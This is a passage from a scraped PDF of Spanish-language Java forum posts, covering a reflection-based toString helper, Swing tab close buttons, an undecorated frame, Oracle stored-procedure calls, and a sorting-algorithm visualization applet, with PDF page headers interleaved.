eeeeeeee = "tienes el",fffffff = "valor",ggggg = "o",hhhh = "te vale",i,

jj = "ME VALE!!",k; 

 private double qqq = 645.318,www = 123.13,eee = 654,rrr = 7722177,ttt = 666,yyy = 69; 

 private File zzzqwe = new File("."),xxxdgnf = new File("/"),cccdsdfgvy = new 

File("c:/mi/carpeta"),vvasdasvfdvkmg = new 

File("/tu/carpeta"),bbasdasdbdhfrth = new 

File("/home/sweet/home"),netewewwwnnert = new 

File("/asd/qwe.sh"),mmmkjfrygsdfg = new 

File("/home/work/asd.waa"); 

Y esto se veria asi:

aaaaaaaaa..........tengo valorbbbbbbb............yo tabien tengo valorccccccccccccccc....null ddddddddd..........null eeeeeeee...........tienes elfffffff............valor ggggg..............o 

hhhh...............te valei..................null jj.................ME VALE!! k..................null qqq................645.318www................123.13eee................654.0rrr................7722177.0

Page 26: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 26/169

ttt................666.0yyy................69.0zzzqwe..............xxxdgnf............\cccdsdfgvy.........c:\mi\carpeta

vvasdasvfdvkmg.....\tu\carpetabbasdasdbdhfrth....\home\sweet\homenetewewwwnnert.....\asd\qwe.sh mmmkjfrygsdfg......\home\work\asd.waa 

y el codigo es este:

/** * Escribo mi propio metodo {@code toString()} porque

quiero ver todas las propiedades* de mi case en la frma que yo quiero */  @Override  public String toString () { 

StringBuilder sb = new StringBuilder (); try { 

Class c = Class.forName (this.getClass ().getName ()); 

Field [] f = c.getDeclaredFields (); int l = getMaxLenght (f) + 4; for(Field  propiedad:f) 

sb.append 

(rellenaEspacios (propiedad.getName (), l, '.')).append (propiedad.get 

(this)).append ("\n"); 

} catch (Throwable e) { e.printStackTrace (); } 

return sb.toString (); } 

/** * Metodo que obtiene la longitud maxima de las

 propiedades de la clase* * @param f Arreglo de tipo {@link Field}

que encapsula lainformacion de* las propiedades de la

Page 27: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 27/169

clase* * @return retorna el valor de la longitud 

 maxima de un nombre de propiedad */  

 private int getMaxLenght(Field [] f){ int max = 0; for(Field  field:f) 

max = field.getName ().length () > max ? field.getName ().length ():max; 

return max; } 

/** * Este metodo se encarga de poner el relleno en para

que en la visualizacion se vean* alineadas las propiedades de la clase* * @param s Define la cadena a rellenar * @param l Define la longitud final que

debe tener la cadena de retorno * @param r Define el caracter de relleno * @return*/  

 private String rellenaEspacios(String s, int l, char r){ 

if(s == null || s.isEmpty () || l <= s.length ()) return s; 

StringBuilder sb = new StringBuilder (s); for(int indice = s.length (); indice < l; 

indice++) sb.append (r); 

return sb.toString (); } 

Pues espro que a alguien le sirva y claro, recuerden que este lo hice a mis necesidades y si

quieren que haga mas monerias pus' ahi tienen el codigo!

Por cierto, a mi me gustaria usarlo esto e varias clases, pero eso decopiar y pegar como qeno va muy bien. Si alguie ha utilizado http://projectlombok.org/  sabrá que por ejemplo lepone:

@Setter (AccessLevel.PUBLIC)  private String miCadena; 

Page 28: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 28/169

y por lo que lei que cuando compila ya le genero el suguiente codigo:

 public void  setMiCadena(String miCadena){ this.miCadena = miCadena; 

y asi con el @Getter y varias cosas mas... Bueno el punto es que si alguien sabe hacerlo y leinteresa este codigo pues vamos!! 

JCheckBox en la Cabecera de un JTable 

Es increible lo que se puede hacer con java, hace poco publique como colocar una X en laspestañas de un JTabbedPane, y ahora les voy a mostrar como colocar un JCheckBox en lacabecera de un JTable.

Al seleccionar el JCheckBox de la cabecera se seleccionaran todos los que estan en cadafila.

Pueden ver todo el codigo en Java Zone 

Colocar X en nuestras Pestañas 

JTabbedPane con X 

Ahora veremos como podemos modificar el componente JTabbedPane para agregarleun botón con una X para cerrar la pestaña.

Es común ver en los navegadores esta opción, y por que no poder usarla en nuestrasaplicaciones. Ademas para este ejemplo usamos dos tipos de X, una dibujada y la otra esuna imagen.

Imágenes 

Page 30: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 30/169

 import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*; 

import javax.swing.UnsupportedLookAndFeelException; 

public class Principal extends JApplet { 

JTabbedPane pestañas; 

public void init(){ 

colocarSkin(); pestañas=new JTabbedPane(); 

colocarPestañasPredeterminadas();  

JPanel pboton=new JPanel(); 

JButton restaurar=new JButton("Restaurar"); restaurar.addActionListener(new ActionListener(){ 

@Override public void actionPerformed(ActionEvent e) { 

for(int i=0;i<

pestañas.getTabCount();i++){  pestañas.removeTabAt(i);  } colocarPestañasPredeterminadas();  } 

}); pboton.add(restaurar); 

add(pestañas); add(pboton,BorderLayout.SOUTH);  } 

public void colocarPestañasPredeterminadas() { JPanel p1=new JPanel(); p1.add(new JLabel("Java Zone")); 

JPanel p2=new JPanel(); p2.add(new JLabel("JTabbedPane con X como imagen")); 

Page 31: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 31/169

JPanel p3=new JPanel(); p3.add(new JLabel("JTabbedPane con X dibujada")); 

PanelTab btc=new PanelTab(pestañas,0); PanelTab btc2=new PanelTab(pestañas,1); 

PanelTab btc3=new PanelTab(pestañas,0); 

pestañas.addTab("Prueba", p1); pestañas.addTab("Prueba Java Zone", p2); pestañas.addTab("Prueba Java Zone", p3); pestañas.setTabComponentAt(0, btc); pestañas.setTabComponentAt(1, btc2); pestañas.setTabComponentAt(2, btc3); } 

public void colocarSkin(){ try { 

UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel"); 

} catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); 

} catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } 

} } 

Clase PanelTab 

package Clases; 

import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI; 

Page 32: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 32/169

public class PanelTab extends JPanel { 

JTabbedPane pestañas; int tipo; 

public PanelTab(JTabbedPane p,int op) { 

if (p != null) { 

this.pestañas = p; tipo=op; 

setOpaque(false); 

JLabel titulo = new JLabel() { 

public String getText() { int i = pestañas.indexOfTabComponent(PanelTab.this); if (i != -1) { 

return pestañas.getTitleAt(i); } return null; 

} }; 

add(titulo); 

titulo.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 5)); JButton button = new BotonX(pestañas,this,tipo); add(button); 

} } 

Clase BotonX 

package Clases; 

import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI; 

Page 33: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 33/169

 public class BotonX extends JButton implements MouseListener { 

JTabbedPane panel; PanelTab btc; 

int tipo; 

public BotonX(JTabbedPane pane,PanelTab btc,int op) { panel=pane; this.btc=btc; tipo=op; 

int size = 17; setPreferredSize(new Dimension(size, size)); setToolTipText("Cerrar Pestaña"); setUI(new BasicButtonUI()); setContentAreaFilled(false);  

setFocusable(false); setBorder(BorderFactory.createEtchedBorder());  setBorderPainted(false);  addMouseListener(this);  setRolloverEnabled(true);  addActionListener(new ActionListener(){ 

@Override public void actionPerformed(ActionEvent e) { int i = panel.indexOfTabComponent(BotonX.this.btc); 

if (i != -1) { panel.remove(i); } 

} }); 

public void updateUI() { } 

protected void paintComponent(Graphics g) { super.paintComponent(g);  Graphics2D g2 = (Graphics2D) g.create(); if(tipo==0){ if (getModel().isPressed()) { g2.translate(1, 1); } g2.setStroke(new BasicStroke(3)); g2.setColor(Color.BLACK); if (getModel().isRollover()) { 

Page 34: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 34/169

g2.setColor(Color.RED); } g2.drawLine(5, 5, 12, 12); g2.drawLine(12, 6, 6, 12); g2.dispose(); 

}else{ ImageIcon img=new ImageIcon(this.getClass().getResource("../lib/cerrar.png")); g2.drawImage(img.getImage(), 1, ,14,14, this); g2.dispose(); 

} } 

@Override public void mouseClicked(MouseEvent e) {  // TODO Auto-generated method stub 

@Override public void mouseEntered(MouseEvent e) { Component component = e.getComponent(); 

if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(true);  

@Override public void mouseExited(MouseEvent e) { Component component = e.getComponent(); 

if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(false);  

} } 

@Override public void mousePressed(MouseEvent e) {  // TODO Auto-generated method stub 

Page 35: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 35/169

@Override public void mouseReleased(MouseEvent e) {  // TODO Auto-generated method stub 

La clase Principal crea el JTabbePane, luego creo tres pestañas y también creo tres objetosPanelTab que no es mas que un panel en el que agregaremos el titulo y el botón con la X.Luego le indico a cada pestaña un objeto PanelTab, esto lo hacemos conel método setTabComponentAt() de JTabbedPane.

Luego creo un panel para agregar el botón restaurar que lo que hace es restaurar todas laspestañas por si el usuario las cerro.

La clase PanelTab, crea un JLabel con el titulo de la pestaña y agrega un BotonX, que esuna clase que hereda de JButton.

La clase BotonX hereda de JButton y tiene dos opciones, la primera es dibujar un a X, ycuando el cursor esta sobre ella cambia de color de negro a rojo. La segunda opción es quecoloca una Imagen de una X. Ademas posee un ActionListener que indica que cuando se daclic al botón la pestaña se cierra.

Applet 

Posted 11th February by Roger 

Yo hice una pequeño frame hace tiempo ( con fines recreativos ) que estaba igualita achrome. Solo tienes que echarle un poco de "coco" pero es casi natural.

En resúmen, tienes que ocultar el header ( la barra de titulo ) con frame.setUndecorated( 

true ); con lo cual pierdes automáticamente la posibilidad de darle usar el drag / resizeetc. con el mouse y claro, también los botones de maximizar y cerrar. Para compensarlotienes que poner tres botones con border = 0 ( o sin borde ) que sustituyan esafuncionalidad y además agregar un mouse listener al componente principal para que cuandohaya un click y se arrastre, seas tu quién mueve el frame.

Para que me entiendas mejor algo así:

Page 36: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 36/169

 

import javax.swing.*; import java.awt.*; 

class Chromeless {  public static void  main( String ... args ) { 

JFrame f = new JFrame(); f.setUndecorated( true ); f.add( new JPanel(new 

FlowLayout(FlowLayout.RIGHT)){{ add( new JButton("X")); add( new JButton("_")); 

}}, BorderLayout.NORTH ); f.add( new JLabel("Content goes here")); f.setSize( 200, 100 ); 

f.setLocation( 200, 300 ); f.setVisible( true ); } 

Y hay que agregarle los listener que pierdes al ponerlo como undecorated = true

Obvio hay que trabajar en los botones, para darle el tamaño adecuado, ponerles imagenesen vez de texto ( X y _ ) e imagenes para cuando pasas el mouse etc. etc. con un poco detiempo ( menos de 3 días ) debería de hacer algo decente.

Procedimientos Almacenados Oracle desdeJava 

Ya se que nunca posteo, pero hoy decidí romper la rutina :-D

Page 37: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 37/169

Como mandarllamar procedimientos almacenados desde Java, un poco más específicoutilizando el EntityManager...Tengo un DataSource configurado en el AppServer

con el EntityManager se pueden ejecutar directamente procedimientos, pero no pude

obtener los parámetros de salida, es por eso que lo hice de otra manera... primero se hacereferencia al DataSource para obtener la conexion

@Resource(name = "jdbc/myDS")  private DataSource dataSource; 

luego para realizar la ejecucion del procedimiento se hace lo siguiente

Connection conn=null; //se declara una variable Connection 

try{ 

conn = this.dataSource.getConnection();// se obtiene laconexion del DataSource antes declarado 

CallableStatement cs = null; 

cs = conn.prepareCall("call procedure(?,?,?,?,?)"); 

//Se settean las variables de entrada del procedimiento 

cs.setInt("IN_ID",837); 

SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy"); 

Date date= sdf.parse("22/06/2004"); 

cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime())); 

cs.setDouble("IN_VALOR",1.8); 

//Se registran las variables de salida del procedimiento 

cs.registerOutParameter("OUT_ED",Types.INTEGER); 

cs.registerOutParameter("OUT_CVE",Types.INTEGER); 

cs.execute();//Ejecución del procedimiento 

// aca de obtienen las variables de salida del procedimiento 

System .out.println(cs.getInt("OUT_ED")); 

Page 38: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 38/169

  System .out.println(cs.getInt("OUT_CVE")); 

conn.close(); 

}catch(SQLException e){e.printStackTrace();}catch(Exception er){ 

er.printStackTrace(); 

Así es como lo implementé, también se puede hacer mediente indices es decir

cs = conn.prepareCall("call procedure(?,?,?,?,?)"); 

cs.setInt(1,837); 

SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy"); 

Date date= sdf.parse("22/06/2004"); 

cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime())); 

cs.setDouble("IN_VALOR",1.8); 

si alguien tiene alguna mejor manera de hacerlo, compártalo, espero y le sirva a alguién....

La conexión deberías cerrarla en el finally, no dentro del try. Si ocurre una excepción en tucódigo así como está, se va a quedar esa conexión abierta.

Connection conn = null;//try {//blabla todo tu codigo aqui excepto el close()

} catch (SQLException ex) {//manejar la excepcion

} finally {if (conn != null) {try {

conn.close();} catch (SQLException ex) {

//ni modo no se pudo cerrar}

}

De esa forma la conexión siempre se cierra, haya excepción o no.

Métodos de Ordenamiento. 

Bueno pues aquí les dejo una tarea que me dejaron ami para alguien que le sirva luegoadjunto la información de cada método. Si tengo algunas cosas mal con gusto digamenlasporfavor se los agradecería y si hay algo que puedo mejorar aun.

Page 39: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 39/169

import java.applet.Applet; import java.awt.Button; import java.awt.Color; import java.awt.Event; import java.awt.Graphics; import java.awt.Label; import java.awt.Rectangle; import java.awt.Scrollbar; import java.awt.TextField; import java.awt.event.ActionEvent; import java.util.Random; 

/** * @author Ferreyra* */  

 public class Ordenamiento extends  Applet implements Runnable { 

int numMax=27; //Número máximo de elmentos a ordenar  int numAleat=20; //Cantidad de números aleatorios generados //(al inicio siempre será 20). int y[] = new int[numMax]; int x[] = new int[numMax]; int x2[] = new int[numMax]; int x3[] = new int[numMax]; int x4[] = new int[numMax]; int x5[] = new int[numMax]; 

int x6[] = new int[numMax]; int x7[] = new int[numMax]; int x8[] = new int[numMax]; 

Thread  hilo, hilo2, hilo3, hilo4, hilo5, hilo6, hilo7,hilo8; Button button1 = new Button(); Button button10 = new Button(); Button button2 = new Button(); Button button3 = new Button(); Button button4 = new Button(); 

Button button5 = new Button(); Button button6 = new Button(); Button button7 = new Button(); Button button8 = new Button(); Scrollbar barraDes = new Scrollbar(); TextField  cantidadAleatorios = new TextField (); Label label2 = new Label(); Label label1 = new Label(); 

Page 40: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 40/169

  Label label3 = new Label(); Label label4 = new Label(); 

 private int l;  private int i1;  private int k;  private int num; 

/**Inicializar el applet*/   public void  init() { 

try { jbInit(); 

} catch(Exception e) { e.printStackTrace(); 

} } 

/**Inicialización de componentes*/   private void  jbInit() throws Exception { 

button1.setEnabled(false); button1.setFont(new java.awt.Font("Dialog", 1, 11)); button1.setLabel("Burbuja"); button1.setBounds(new Rectangle(35, 140, 100, 22)); button1.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button1_actionPerformed(e); 

} }); button2.setEnabled(false); button2.setFont(new java.awt.Font("Dialog", 1, 11)); button2.setLabel("Quiksort"); button2.setBounds(new Rectangle(175, 140, 100, 22)); button2.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button2_actionPerformed(e); } 

}); button3.setEnabled(false); button3.setFont(new java.awt.Font("Dialog", 1, 11)); button3.setLabel("Shellsort"); button3.setBounds(new Rectangle(315, 140, 100, 22)); button3.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

Page 41: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 41/169

button3_actionPerformed(e); } 

}); button4.setEnabled(false); button4.setFont(new java.awt.Font("Dialog", 1, 11)); 

button4.setLabel("Bucketsort"); button4.setBounds(new Rectangle(455, 140, 100, 22)); button4.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button4_actionPerformed(e); } 

}); button5.setEnabled(false); button5.setFont(new java.awt.Font("Dialog", 1, 11)); button5.setLabel("Insertionsort"); button5.setBounds(new Rectangle(595, 140, 100, 22)); button5.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button5_actionPerformed(e); } 

}); button6.setEnabled(false); button6.setFont(new java.awt.Font("Dialog", 1, 11)); button6.setLabel("Selectionsort"); button6.setBounds(new Rectangle(735, 140, 100, 22)); button6.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button6_actionPerformed(e); } 

}); button7.setBounds(new Rectangle(35, 305, 100, 22)); button7.setLabel("Mergesort"); button7.setFont(new java.awt.Font("Dialog", 1, 11)); button7.setEnabled(false); button7.addActionListener(new 

java.awt.event. ActionListener() { 

 public void  actionPerformed( ActionEvent e) { button7_actionPerformed(e); 

} }); button8.setEnabled(false); button8.setFont(new java.awt.Font("Dialog", 1, 11)); button8.setLabel("Radixsort"); button8.setBounds(new Rectangle(735, 305, 100, 22)); 

Page 42: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 42/169

button8.addActionListener(new java.awt.event. ActionListener() { 

 public void  actionPerformed( ActionEvent e) { button8_actionPerformed(e); 

}); button10.setFont(new java.awt.Font("Dialog", 1, 11)); button10.setForeground(Color.blue); button10.setLabel("Generar Números"); button10.setBounds(new Rectangle(374, 253, 140, 22)); button10.addActionListener(new 

java.awt.event. ActionListener() {  public void  actionPerformed( ActionEvent e) { 

button10_actionPerformed(e); } 

}); barraDes.setBackground(Color.blue); barraDes.setEnabled(true); barraDes.setForeground(Color.white); barraDes.setMaximum(27); barraDes.setVisibleAmount(0); barraDes.setOrientation(0); barraDes.setPageIncrement(1); barraDes.setUnitIncrement(1); barraDes.setValue(19); barraDes.setBounds(new Rectangle(382, 223, 124, 21)); 

cantidadAleatorios.setBackground(Color.white); 

cantidadAleatorios.setEditable(false); cantidadAleatorios.setEnabled(true); cantidadAleatorios.setFont(new java.awt.Font("Dialog", 1,

12)); cantidadAleatorios.setForeground(Color.blue); cantidadAleatorios.setText("20"); cantidadAleatorios.setBounds(new Rectangle(436, 201, 21,

21)); 

label1.setEnabled(true); label1.setForeground(Color.blue); 

label1.setText("1"); label1.setBounds(new Rectangle(371, 224, 14, 15)); label2.setEnabled(true); label2.setForeground(Color.blue); label2.setText("27"); label2.setBounds(new Rectangle(511, 225, 18, 13)); label3.setFont(new java.awt.Font("SansSerif", 0, 11)); label3.setForeground(Color.blue); 

Page 43: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 43/169

label3.setText("Para generar la cantidad indicada denumeros aleatorios, es necesario"); 

label3.setBounds(new Rectangle(275, 285, 346, 18)); label4.setFont(new java.awt.Font("SansSerif", 0, 11)); label4.setForeground(Color.blue); 

label4.setText("que no se esté ejecutando ningún métodode ordenamiento."); label4.setBounds(new Rectangle(303, 300, 294, 16)); this.setFont(new java.awt.Font("Dialog", 0, 10)); this.setLayout(null); 

this.add(button1, null); this.add(button2, null); this.add(button3, null); this.add(button4, null); this.add(button5, null); this.add(button6, null); this.add(button7, null); this.add(button8, null); this.add(button10, null); this.add(label2, null); this.add(label1, null); this.add(label4, null); this.add(label3, null); this.add(barraDes, null); this.add(cantidadAleatorios, null); 

 public void  activa(){ cantidadAleatorios.setEnabled(true); label1.setEnabled(true); label2.setEnabled(true); barraDes.setEnabled(true); button10.setEnabled(true); 

 public void  activa2(){ button1.setEnabled(true); button2.setEnabled(true); 

button3.setEnabled(true); button4.setEnabled(true); button5.setEnabled(true); button6.setEnabled(true); button7.setEnabled(true); button8.setEnabled(true); 

Page 44: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 44/169

   public void  desactiva(){ cantidadAleatorios.setEnabled(false); label1.setEnabled(false); label2.setEnabled(false); barraDes.setEnabled(false); button10.setEnabled(false); 

/**Eventos de Scrollbar:*/   public  boolean handleEvent( Event evt ) { 

if( evt.target.equals(barraDes) ) { cantidadAleatorios.setText( Integer.toString( 

((Scrollbar) evt.targe

t).getValue()+1)); numAleat=((Scrollbar)evt.target).getValue()+1; return true; 

} return super.handleEvent( evt ); 

void  button1_actionPerformed( ActionEvent e) { button1.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x[v] = y[v]; start(1); 

void  button2_actionPerformed( ActionEvent e) { button2.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x2[v] = y[v]; start(2); 

void  button3_actionPerformed( ActionEvent e) { button3.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x3[v] = y[v]; 

start(3); } 

void  button4_actionPerformed( ActionEvent e) { button4.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x4[v] = y[v]; 

Page 45: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 45/169

start(4); } 

void  button5_actionPerformed( ActionEvent e) { button5.setEnabled(false); 

desactiva(); for(int v=0; v<y.length; v++) x5[v] = y[v]; start(5); 

void  button6_actionPerformed( ActionEvent e) { button6.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x6[v] = y[v]; start(6); 

void  button7_actionPerformed( ActionEvent e) { button7.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x7[v] = y[v]; start(7); 

} void  button8_actionPerformed( ActionEvent e) { button8.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x8[v] = y[v]; start(8); 

void  button10_actionPerformed( ActionEvent e) { 

generaAleat(); for(int v=0; v<y.length; v++){ x[v] = y[v]; x2[v] = y[v]; x3[v] = y[v]; x4[v] = y[v]; x5[v] = y[v]; 

x6[v] = y[v]; x7[v] = y[v]; x8[v] = y[v]; 

} repaint(); activa2(); 

Page 46: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 46/169

  /**Ejecución del hilo*/   public void  start(int i){ 

if(i==1){ hilo = new Thread (this); hilo.start(); 

} else if(i==2){ hilo2 = new Thread (this); hilo2.start(); 

} else if(i==3){ hilo3 = new Thread (this); hilo3.start(); 

} else if(i==4){ hilo4 = new Thread (this); hilo4.start(); 

} else if(i==5){ hilo5 = new Thread (this); hilo5.start(); 

} else if(i==6){ hilo6 = new Thread (this); hilo6.start(); 

} else if(i==7){ hilo7 = new Thread (this); 

hilo7.start(); } else if(i==8){ hilo8 = new Thread (this); hilo8.start(); 

} } 

 public void  stop(int i){ if(i==1) hilo = null; 

else if(i==2) hilo2 = null; 

else if(i==3) hilo3 = null; 

else if(i==4) hilo4 = null; 

else if(i==5) hilo5 = null; 

Page 47: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 47/169

else if(i==6) hilo6 = null; 

else if(i==7) hilo7 = null; 

else if(i==8) hilo8 = null; 

void  pausa(){ repaint(); try { Thread .sleep(100); } catch (InterruptedException e) {} 

 public void  run(){ Thread  hiloActual = Thread .currentThread(); 

if (hiloActual == hilo) { Burbuja(); stop(1); button1.setEnabled(true); 

} if (hiloActual == hilo2) { quiksort(x2, 0, numAleat-1); stop(2); button2.setEnabled(true); 

} if (hiloActual == hilo3) { 

shellsort(); stop(3); button3.setEnabled(true); 

} if (hiloActual == hilo4) { bucksort(); stop(4); button4.setEnabled(true); 

} if (hiloActual == hilo5) { insertionsort(); 

stop(5); button5.setEnabled(true); 

} if (hiloActual == hilo6) { selectionsort(); stop(6); button6.setEnabled(true); 

Page 48: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 48/169

if (hiloActual == hilo7) { mergesort(); stop(7); button7.setEnabled(true); 

if (hiloActual == hilo8) { radixsort(); stop(8); button8.setEnabled(true); 

} if(hilo==null && hilo2==null&& hilo3==null&& 

hilo4==null&& hilo5==null&& hilo6==null && hilo7==null && hilo8==null) activa(); 

/**Dibuja las lineas a ordenar (la primera vez que se

visualiza el applet).*/   public void  paint(Graphics g){ 

int p=0; 

g.setColor(Color.white); g.fillRect(35,15,100,115); g.fillRect(175,15,100,115); g.fillRect(315,15,100,115); g.fillRect(455,15,100,115); g.fillRect(595,15,100,115); g.fillRect(735,15,100,115); 

g.fillRect(35,180,100,115); g.fillRect(735,180,100,115); g.setColor(Color.black); for(int i=0; i<numAleat; i++){ g.drawLine(45+p,120,45+p,120-x[i]); g.drawLine(185+p,120,185+p,120-x2[i]); g.drawLine(325+p,120,325+p,120-x3[i]); g.drawLine(465+p,120,465+p,120-x4[i]); g.drawLine(605+p,120,605+p,120-x5[i]); g.drawLine(745+p,120,745+p,120-x6[i]); g.drawLine(45+p,285,45+p,285-x7[i]); 

g.drawLine(745+p,285,745+p,285-x8[i]); p+=3; 

} } 

/**Actualiza (mediante la llamada repaint)las lineas que seordenan.

* Este método evita el parpadeo (flickering).*/  

Page 49: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 49/169

   public void  update(Graphics e){ int p=0; 

e.setColor(Color.white); e.fillRect(35,15,100,115); 

e.fillRect(175,15,100,115); e.fillRect(315,15,100,115); e.fillRect(455,15,100,115); e.fillRect(595,15,100,115); e.fillRect(735,15,100,115); e.fillRect(35,180,100,115); e.fillRect(735,180,100,115); e.setColor(Color.black); for(int i=0; i<numAleat; i++){ e.drawLine(45+p,120,45+p,120-x[i]); e.drawLine(185+p,120,185+p,120-x2[i]); e.drawLine(325+p,120,325+p,120-x3[i]); e.drawLine(465+p,120,465+p,120-x4[i]); e.drawLine(605+p,120,605+p,120-x5[i]); e.drawLine(745+p,120,745+p,120-x6[i]); e.drawLine(45+p,285,45+p,285-x7[i]); e.drawLine(745+p,285,745+p,285-x8[i]); p+=3; 

} } 

void  Burbuja(){ int b, j, t, n; 

n = numAleat-1; do{ b = 0; for(j=0; j<n; j++){ 

if(x[j] > x[j+1]){ t = x[j]; x[j] = x[j+1]; x[j+1] = t; pausa(); //************************ b++; 

} n--; 

} while(b > 0); 

 public void  quiksort(int x2[],int lo,int ho){ int t, l=lo, h=ho, mid; 

Page 50: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 50/169

if(ho>lo){ mid=x2[(lo+ho)/2]; while(l<h){ while((l<ho)&&(x2[l]<mid)) ++l; while((h>lo)&&(x2[h]>mid)) --h; 

if(l<=h){ t = x2[l]; x2[l] = x2[h]; x2[h] = t; pausa(); //************************ ++l; --h; 

} } if(lo<h) quiksort(x2,lo,h); if(l<ho) quiksort(x2,l,ho); 

} } 

 public void  shellsort(){ int n = numAleat; //numero de elementos a ordenar  int i, j; // Indices para manipular el arreglo int tamPasada; // Tamanno de los "subarreglos" ordenados

en cada pasada int temporal; // Almacenamiento temporal para los

intercambios 

// Calcular tamanno optimo de la primera pasada 

for( tamPasada = 1; tamPasada <= (n / 9); tamPasada = (3 * tamPasada + 1)) 

;  // Instruccion nula 

// Ordenar en cada pasada subarreglos de tamPasada

tamanno, hasta llegar a // tamanno 1 for( ; tamPasada > 0; tamPasada /= 3){ 

for(i = tamPasada; i < n; i += tamPasada){ temporal = x3[ i ]; j = i;  // Preparar variables

 por si hay  

// intercambio 

// Hacer espacio dentro del "subarreglo" actual si

se encontro un // elemento menor  while( j >= tamPasada && x3[ j - tamPasada ] > 

temporal ){ x3[ j ] = x3[ j - tamPasada ]; 

Page 51: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 51/169

j -= tamPasada; }; x3[ j ] = temporal;  // Insertar elemento menor en

su lugar  pausa(); //************************ 

}; // for i

 }; // for tamPasada } 

 public void  bucksort(){ int bindex; //Variable que llevara el control del indice

del arreglo int i; //Variable que llevara el control del indice del

arreglo int max=numAleat; //Variable para leer el numero de

elementos del vector  //a ordenar  

int buck[] = new int [256]; //Arreglo de elementos nomayor de 256  

for (bindex=0;bindex<max;bindex++) //Ciclo para llenar elarreglo 

buck[bindex]=0;  //auxiliar Buck con

ceros //del mismo tamaño que

nuestro vector  for (i=0;i<max;i++) //Ciclo que hace a buck buck[x4[i]]++; 

i=0; 

bindex=0; //reinicia los indices a cero while(i<max){ //mientras que no enuentre el final del

arreglo realiza //lo siguiente 

while(buck[bindex]==0) bindex++;  //  

x4[i]=bindex; pausa(); //************************ buck[bindex]--; i++; 

} // Termina el While 

 public void  insertionsort(){ for(int i=1; i<numAleat; i++){ 

int v=x5[i]; int j=i; while(j>0 && x5[j-1]>v){ 

x5[j]=x5[j-1]; 

Page 52: Java Foros

5/11/2018 Java Foros - slidepdf.com

http://slidepdf.com/reader/full/java-foros 52/169

x5[j-1]=v; pausa(); j--; v=x5[j]; 

} } 

 public void  selectionsort(){ int a, b, menor; 

for(a=0; a<numAleat-1; a++){ menor=x6[a]; for( b=a+1; b<numAleat; b++){ if(menor>x6[b]){ 

menor=x6[b]; x6[b]=x6[a]; x6[a]=menor; pausa(); //************************ 

} } 

} } 

 public void  mergesort(){ int n = numAleat; int[] aux = new int[n]; int i, j, k, l1, l2, u1, u2, size = 1; 

